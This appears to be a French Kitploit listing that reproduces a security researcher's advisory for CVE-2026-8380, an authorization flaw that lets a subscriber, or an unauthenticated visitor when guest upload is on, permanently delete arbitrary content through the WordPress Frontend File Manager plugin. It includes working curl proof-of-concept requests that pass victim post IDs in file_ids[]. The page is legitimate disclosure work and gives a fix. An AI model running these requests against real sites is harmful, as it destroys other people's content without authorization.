Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8380 — CVE-2026-8380 | Kitploit
Outils/GitHubGitHub/tiagob0b/cve-2026-8380
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubtiagob0b/cve-2026-8380

CVE-2026-8380

CVE-2026-8380

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-8380

CVE-2026-8380 — Gestionnaire de fichiers Frontend <= 23.6 Suppression arbitraire d'articles

Présentation

Une faille d'autorisation critique a été identifiée dans l'extension WordPress Frontend File Manager (nmedia-user-file-uploader) affectant les versions <= 23.6.

La vulnérabilité permet aux utilisateurs authentifiés disposant de faibles privilèges de supprimer définitivement des articles, pages, pièces jointes et types d'articles personnalisés arbitraires de WordPress en raison d'une validation d'autorisation inappropriée dans le point de terminaison AJAX de suppression.

Lorsque l'option de l'extension _allow_guest_upload=yes est activée, la vulnérabilité devient exploitable par des attaquants non authentifiés.

  • CVE : CVE-2026-8380
  • Extension : Frontend File Manager (nmedia-user-file-uploader)
  • Versions affectées : <= 23.6
  • Chercheur : Tiago Ferreira
  • CWE : CWE-639 / CWE-862
  • Type de vulnérabilité : Suppression arbitraire d'articles
  • WPScan : https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

Résumé exécutif

L'extension contient une vulnérabilité critique de contournement d'autorisation qui permet la suppression arbitraire de contenu WordPress via une validation de paramètres incohérente dans l'action AJAX wpfm_delete_file.

La vulnérabilité a été validée avec succès dans un environnement de laboratoire contrôlé avec une exploitation active de preuve de concept.

Des faiblesses de sécurité supplémentaires ont également été identifiées lors de la recherche :

  • CSRF dans les points de terminaison de mise à jour des métadonnées sans validation de nonce
  • Contournement de la liste blanche d'extensions basé uniquement sur la dernière extension de fichier
  • _allow_guest_upload désactive les vérifications d'autorisation dans plusieurs points de terminaison
  • Limitation de débit basée uniquement sur REMOTE_ADDR

Point de terminaison vulnérable

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=wpfm_delete_file

Fichier concerné

root@kitploit:~
inc/files.php

Zone de code vulnérable

root@kitploit:~
// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Désolé, pas autorisé", "wpfm"));
}

// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
            ? array_map('intval', $_POST['file_ids']) : [];

foreach ($file_ids as $file_id) {
    $file = new WPFM_File($file_id);

    wp_delete_post($file_id, $bypass_trash);
}

Cause racine

La vérification d'autorisation valide la propriété à l'aide du paramètre singulier :

root@kitploit:~
$_POST['file_id']

Cependant, l'opération de suppression réelle itère sur un paramètre différent :

root@kitploit:~
$_POST['file_ids[]']

En raison de cette incohérence, un attaquant peut :

  1. Fournir un article légitime dont il est propriétaire dans file_id
  2. Injecter des identifiants d'articles victimes arbitraires dans file_ids[]

Aucune validation n'existe pour garantir :

  • la propriété de chaque élément dans file_ids[]
  • le post_type autorisé
  • la relation entre file_id et file_ids[]

En conséquence, du contenu WordPress arbitraire peut être supprimé définitivement.


Impact

Un utilisateur authentifié avec des privilèges minimaux peut supprimer définitivement :

  • Articles
  • Pages
  • Produits
  • Pièces jointes
  • Types d'articles personnalisés
  • Contenu spécifique à l'extension

La suppression est effectuée avec :

root@kitploit:~
wp_delete_post($file_id, true);

Ce qui signifie que le contenu est supprimé définitivement sans récupération via la corbeille.

Si _allow_guest_upload=yes est activé :

  • l'exploitation devient non authentifiée
  • la vérification de propriété de l'auteur est entièrement ignorée

Preuve de concept

Environnement de laboratoire

  • Cible : 192.168.1.1:8080
  • Rôle de l'attaquant : Abonné
  • Rôle de la victime : Administrateur

Compte de l'attaquant

root@kitploit:~
wpfm_sub : Sub@Test123

Articles de la victime

root@kitploit:~
ID de page : 60
ID d'article : 61

Étape 1 — Obtenir le nonce

L'attaquant visite une page contenant le shortcode :

root@kitploit:~
[ffmwp]

Extraire le nonce :

root@kitploit:~
curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce

Réponse :

root@kitploit:~
value="9c233d4720"

Étape 2 — Déclencher la suppression arbitraire

root@kitploit:~
curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
    --data 'action=wpfm_delete_file' \
    --data 'wpfm_ajax_nonce=9c233d4720' \
    --data 'file_id=57' \
    --data 'file_ids[]=60' \
    --data 'file_ids[]=61'

Explication

ParamètreDescription
file_id=57Article appartenant à l'abonné utilisé pour contourner l'autorisation
file_ids[]=60Page de l'administrateur victime
file_ids[]=61Article de l'administrateur victime

Réponse réussie

root@kitploit:~
{
  "success": true,
  "data": {
    "message": "2 fichiers, répertoires supprimés dans APPARTENANT-À-L'ABONNÉ"
  }
}

Vérification

root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60
root@kitploit:~
404
root@kitploit:~
curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61
root@kitploit:~
404

Sévérité

Scénario authentifié

CVSS 3.1

root@kitploit:~
8.1 ÉLEVÉE
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Scénario avec téléchargement invité activé

CVSS 3.1

root@kitploit:~
9.1 CRITIQUE
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Classification CWE

  • CWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur
  • CWE-862 — Autorisation manquante

Correction recommandée

Valider la propriété et le type d'article pour chaque entrée dans file_ids[].

Exemple d'implémentation sécurisée :

root@kitploit:~
foreach ($file_ids as $fid) {

    if ( ! wpfm_is_current_user_post_author($fid) ) {
        wp_send_json_error(...);
    }

    if ( get_post_type($fid) !== 'wpfm-files' ) {
        wp_send_json_error(...);
    }
}

Chronologie

ÉvénementDate
Vulnérabilité découverte2026-05-28
Contact avec l'éditeur2026-05-28
Publication WPScan2026-06-04
Divulgation publique2026-06-18

Références

  • Avis WPScan : https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

  • CVE : https://www.cve.org/CVERecord?id=CVE-2026-8380


Avertissement

Cette recherche a été effectuée dans un environnement de laboratoire contrôlé à des fins éducatives et de recherche en sécurité uniquement.

Ne testez pas les systèmes sans autorisation appropriée.

Télécharger l’outil